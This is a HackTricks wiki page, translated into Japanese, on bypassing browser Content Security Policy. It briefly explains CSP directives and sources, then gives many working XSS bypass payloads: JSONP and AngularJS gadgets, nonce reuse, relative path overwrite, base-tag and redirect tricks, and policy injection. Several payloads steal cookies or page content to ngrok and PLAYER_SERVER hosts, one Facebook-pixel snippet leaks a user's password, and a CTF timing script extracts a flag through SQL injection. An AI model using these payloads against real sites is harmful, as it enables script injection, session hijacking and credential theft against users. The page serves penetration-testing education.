725 lines
49 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## What is CSP
Content Security Policy (CSP) は、主に **クロスサイトスクリプティング (XSS) などの攻撃から保護することを目的としたブラウザ技術** として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScript などのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval``setTimeout``setInterval` などの関数を通じて文字列コードの実行を含むことがあります。
CSP の実装は、**レスポンスヘッダー**を通じて、または **HTML ページにメタ要素を組み込むことによって** 行われます。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。
- Implemented via response header:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- メタタグを介して実装された:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### ヘッダー
CSPはこれらのヘッダーを使用して強制または監視できます
- `Content-Security-Policy`: CSPを強制します; ブラウザは違反をブロックします。
- `Content-Security-Policy-Report-Only`: 監視に使用されます; 違反を報告しますが、ブロックはしません。プレプロダクション環境でのテストに最適です。
### リソースの定義
CSPは、アクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行や`eval()`の使用などの側面を制御します。例のポリシーは:
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### ディレクティブ
- **script-src**: JavaScriptの特定のソースを許可します。これにはURL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプトが含まれます。
- **default-src**: 特定のフェッチディレクティブが存在しない場合にリソースを取得するためのデフォルトポリシーを設定します。
- **child-src**: ウェブワーカーや埋め込まれたフレームコンテンツのために許可されたリソースを指定します。
- **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用して読み込むことができるURLを制限します。
- **frame-src**: フレームのためのURLを制限します。
- **frame-ancestors**: 現在のページを埋め込むことができるソースを指定します。これは`<frame>``<iframe>``<object>``<embed>`、および`<applet>`のような要素に適用されます。
- **img-src**: 画像のために許可されたソースを定義します。
- **font-src**: `@font-face`を使用して読み込まれるフォントのための有効なソースを指定します。
- **manifest-src**: アプリケーションマニフェストファイルのために許可されたソースを定義します。
- **media-src**: メディアオブジェクトを読み込むために許可されたソースを定義します。
- **object-src**: `<object>``<embed>`、および`<applet>`要素のために許可されたソースを定義します。
- **base-uri**: `<base>`要素を使用して読み込むための許可されたURLを指定します。
- **form-action**: フォーム送信のための有効なエンドポイントをリストします。
- **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。
- **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。
- **sandbox**: `<iframe>`のsandbox属性に似た制限を適用します。
- **report-to**: ポリシーが違反された場合に報告が送信されるグループを指定します。
- **worker-src**: Worker、SharedWorker、またはServiceWorkerスクリプトのための有効なソースを指定します。
- **prefetch-src**: フェッチまたはプリフェッチされるリソースのための有効なソースを指定します。
- **navigate-to**: ドキュメントがあらゆる手段a、form、window.location、window.openなどでナビゲートできるURLを制限します。
### ソース
- `*`: `data:``blob:``filesystem:`スキームを除くすべてのURLを許可します。
- `'self'`: 同じドメインからの読み込みを許可します。
- `'data'`: データスキームBase64エンコードされた画像を介してリソースを読み込むことを許可します。
- `'none'`: どのソースからの読み込みもブロックします。
- `'unsafe-eval'`: `eval()`や類似のメソッドの使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'unsafe-hashes'`: 特定のインラインイベントハンドラを有効にします。
- `'unsafe-inline'`: インラインリソース(インライン`<script>``<style>`など)の使用を許可しますが、セキュリティ上の理由から推奨されません。
- `'nonce'`: 暗号的なンス1回使用される番号を使用する特定のインラインスクリプトのホワイトリストです。
- JSの実行が制限されている場合、`doc.defaultView.top.document.querySelector("[nonce]")`を使用してページ内の使用済みンスを取得し、それを再利用して悪意のあるスクリプトを読み込むことが可能ですstrict-dynamicが使用されている場合、許可されたソースは新しいソースを読み込むことができるため、これは必要ありません。以下のように
<details>
<summary>ノンスを再利用してスクリプトを読み込む</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: 特定のsha256ハッシュを持つスクリプトをホワイトリストに追加します。
- `'strict-dynamic'`: nonceまたはハッシュによってホワイトリストに追加された場合、任意のソースからスクリプトを読み込むことを許可します。
- `'host'`: `example.com`のように特定のホストを指定します。
- `https:`: HTTPSを使用するURLに制限します。
- `blob:`: Blob URLJavaScriptを介して作成されたBlob URLからリソースを読み込むことを許可します。
- `filesystem:`: ファイルシステムからリソースを読み込むことを許可します。
- `'report-sample'`: 違反報告に違反コードのサンプルを含めます(デバッグに便利です)。
- `'strict-origin'`: 'self'に似ていますが、ソースのプロトコルセキュリティレベルがドキュメントと一致することを保証します(安全なオリジンのみが安全なオリジンからリソースを読み込むことができます)。
- `'strict-origin-when-cross-origin'`: 同一オリジンリクエストを行う際に完全なURLを送信しますが、クロスオリジンリクエストの場合はオリジンのみを送信します。
- `'unsafe-allow-redirects'`: すぐに別のリソースにリダイレクトされるリソースを読み込むことを許可します。セキュリティを弱めるため推奨されません。
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via Iframes
{{#ref}}
csp-bypass-self-+-unsafe-inline-with-iframes.md
{{#endref}}
### 'unsafe-eval'
> [!CAUTION]
> これは機能していません。詳細については[**こちらを確認してください**](https://github.com/HackTricks-wiki/hacktricks/issues/653)。
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
動作するペイロード:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
もしあなたが何らかの方法で**許可されたJSコードがあなたのJSコードを使って新しいスクリプトタグをDOMに作成する**ことができれば、許可されたスクリプトがそれを作成しているため、**新しいスクリプトタグは実行されることが許可されます**。
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
動作するペイロード:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src と default-src の欠如
> [!CAUTION] > **これがもう機能していないようです**
```yaml
Content-Security-Policy: script-src 'self' ;
```
動作するペイロード:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### ファイルアップロード + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
もしJSファイルをアップロードできる場合、このCSPをバイパスできます
動作するペイロード:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
しかし、サーバーが**アップロードされたファイルを検証している**可能性が高く、**特定のタイプのファイルのみをアップロードすることを許可する**でしょう。
さらに、サーバーが受け入れる拡張子を持つファイルに**JSコードを含めて**アップロードできたとしても例えば、_script.png_のように、これは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは**拡張子に基づいてファイルのMIMEタイプを選択し**、Chromeのようなブラウザは**画像であるべきものの中のJavascript**コードを実行することを**拒否する**からです。「幸運にも」、間違いがあります。例えば、CTFから学んだことですが、**Apacheは**_**.wave**_拡張子を知らないため、**audio/**のような**MIMEタイプで提供しません**。
ここから、XSSとファイルアップロードを見つけ、**誤解された拡張子**を見つけた場合、その拡張子を持つファイルとスクリプトの内容をアップロードしようとすることができます。また、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成することができます([ここにいくつかのポリグロットの例があります](https://github.com/Polydet/polyglot-database))。
### フォームアクション
JSを注入することが不可能な場合でも、例えば資格情報を**フォームアクションを注入することで**流出させることを試みることができます(そして、パスワードマネージャーが自動的にパスワードを入力することを期待するかもしれません)。[**このレポートに例があります**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)ので、確認してください。また、`default-src`はフォームアクションをカバーしていないことに注意してください。
### サードパーティエンドポイント + ('unsafe-eval')
> [!WARNING]
> 次のペイロードのいくつかに対して**`unsafe-eval`は必要ない**場合すらあります。
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
脆弱なバージョンのangularをロードし、任意のJSを実行します:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angularを使用したペイロード + `window`オブジェクトを返す関数を持つライブラリ ([この投稿をチェックしてください](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> この投稿では、`cdn.cloudflare.com`または他の許可されたJSライブラリリポジトリからすべての**ライブラリ**を**ロード**し、各ライブラリから追加されたすべての関数を実行し、**どのライブラリのどの関数が`window`オブジェクトを返すか**を確認できることが示されています。
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
クラス名からのAngular XSS:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JSコードの悪用
[**このCTFの解説**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)によると、CSP内で[https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)を悪用して、CSPをバイパスし任意のJSコードを実行することができます。
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
より多くの[**このレポートからのペイロード**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.comを悪用したオープンリダイレクト
次のURLはexample.comにリダイレクトします[こちら](https://www.landh.tech/blog/20240304-google-hack-50000/)から):
```
https://www.google.com/amp/s/example.com/
```
\*.google.com/script.google.comの悪用
script.google.com内のページで情報を受け取るためにGoogle Apps Scriptを悪用することが可能です。これは[このレポートで行われているように](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)。
### サードパーティエンドポイント + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
このようなシナリオでは、`script-src``self`および特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントを含んでいます。**
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
### 第三者の悪用
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです
| エンティティ | 許可されたドメイン | 機能 |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。
例えば、次のCSPが見つかった場合
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
または
```
Content-Security-Policy: connect-src www.facebook.com;
```
データを抽出することができるはずです。これは、[Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)で常に行われてきたのと同様です。この場合、次の一般的な手順に従います。
1. ここでFacebook Developerアカウントを作成します。
2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
3. 「Settings -> Basic」に移動し、「App ID」を取得します。
4. データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを通じてデータを抽出できます。
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
次に、被害者側で、攻撃者のFacebook開発者アカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するために以下のコードを実行します。
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
前の表に指定された他の7つのサードパーティドメインについては、それらを悪用する方法が他にもたくさんあります。その他のサードパーティの悪用についての追加説明は、以前の[ブログ投稿](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)を参照してください。
### RPO相対パス上書きによるバイパス <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
前述のパス制限を回避するためのリダイレクションに加えて、いくつかのサーバーで使用できる相対パス上書きRPOという別の技術があります。
例えば、CSPがパス`https://example.com/scripts/react/`を許可している場合、次のようにバイパスできます:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
ブラウザは最終的に `https://example.com/scripts/angular/angular.js` を読み込みます。
これは、ブラウザにとって `https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js` をリクエストします。これは `https://example.com/scripts/angular/angular.js` と同等です。
**ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます**
解決策は、サーバー側で `%2f``/` として扱わないようにし、ブラウザとサーバー間で一貫した解釈を確保してこの問題を回避することです。
オンライン例:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS 実行
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### **base-uri** が欠落している場合
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を実行するために悪用できます。
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ**を悪用して**自分のサーバーからスクリプトを読み込ませ、XSSを達成できます。**\
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
```html
<base href="https://www.attacker.com/" />
```
### AngularJSイベント
特定のポリシーであるContent Security Policy (CSP)は、JavaScriptイベントを制限する場合があります。それにもかかわらず、AngularJSは代替としてカスタムイベントを導入します。イベント内で、AngularJSはネイティブブラウザイベントオブジェクトを参照するユニークなオブジェクト`$event`を提供します。この`$event`オブジェクトはCSPを回避するために悪用される可能性があります。特に、Chromeでは、`$event/event`オブジェクトは`path`属性を持ち、イベントの実行チェーンに関与するオブジェクトの配列を保持しており、`window`オブジェクトは常に最後に位置しています。この構造はサンドボックスエスケープ戦術にとって重要です。
この配列を`orderBy`フィルターに渡すことで、反復処理が可能になり、端末要素(`window`オブジェクト)を利用して`alert()`のようなグローバル関数をトリガーできます。以下のコードスニペットはこのプロセスを明示しています:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
このスニペットは、`ng-focus`ディレクティブを使用してイベントをトリガーし、`$event.path|orderBy`を使用して`path`配列を操作し、`window`オブジェクトを利用して`alert()`関数を実行し、`document.cookie`を表示する方法を強調しています。
**他のAngularバイパスを見つけるには** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJSとホワイトリストドメイン
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JSアプリケーションでスクリプトの読み込みのためにドメインをホワイトリストするCSPポリシーは、コールバック関数の呼び出しや特定の脆弱なクラスを通じてバイパスされる可能性があります。この技術に関する詳細情報は、この[gitリポジトリ](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)で入手できます。
動作するペイロード:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
他のJSONP任意実行エンドポイントは[**こちら**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)で見つけることができます(いくつかは削除または修正されました)
### リダイレクションによるバイパス
CSPがサーバーサイドのリダイレクションに遭遇した場合、何が起こるのでしょうかリダイレクションが許可されていない異なるオリジンに向かう場合、依然として失敗します。
しかし、[CSP仕様4.2.2.3. パスとリダイレクション](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)の説明によれば、リダイレクションが異なるパスに向かう場合、元の制限をバイパスすることができます。
例を示します:
```html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが考慮されるため、`/test`および`/a/test`スクリプトはCSPによってブロックされます。
しかし、最終的な`http://localhost:5555/301`は**サーバー側で`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`にリダイレクトされます**。リダイレクトであるため、**パスは考慮されず**、**スクリプトは読み込まれることができ**、したがってパス制限を回避します。
このリダイレクトにより、パスが完全に指定されていても、依然として回避されます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
### ダングリングマークアップを使用したCSPのバイパス
[こちらを読んでください](../dangling-markup-html-scriptless-injection/index.html)。
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味しますXSSはコードを実行できますし、`img-src *`は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。
このCSPは、画像を介してデータを抽出することでバイパスできますこの場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます通常のXSSのように。これにより、**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### サービスワーカーを使用して
サービスワーカーの**`importScripts`**関数はCSPに制限されません:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### ポリシーインジェクション
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシーを無効にする**方法で**ポリシーを変更**することができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
このディレクティブは**既存のscript-srcディレクティブを上書きします**。\
ここに例があります: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edgeでは、はるかに簡単です。CSPにこれだけ追加できれば: **`;_`** **Edge**は**ポリシー全体を破棄します**。\
例: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - タイムアタック
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**はスリープ関数のために**より多くの時間**を要します。そうすれば、フラグを抽出できるようになります:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
```
### Via Bookmarklets
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせる**というソーシャルエンジニアリングを含むことになります。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことを可能にします**。
詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
### CSP bypass by restricting CSP
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込むことができました**。
**`csp`**属性を使用して、**IframeのCSPを制限することができます**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48)では、**HTMLインジェクション**を通じて**CSP**をより制限することが可能であり、その結果、CSTIを防ぐスクリプトが無効化され、**脆弱性が悪用可能になりました。**\
CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトを無効にすることで**エントリ**を**削除**し、**nonce**を許可し、特定のインラインスクリプトをshaで有効にすることができます。
```html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration with Content-Security-Policy-Report-Only
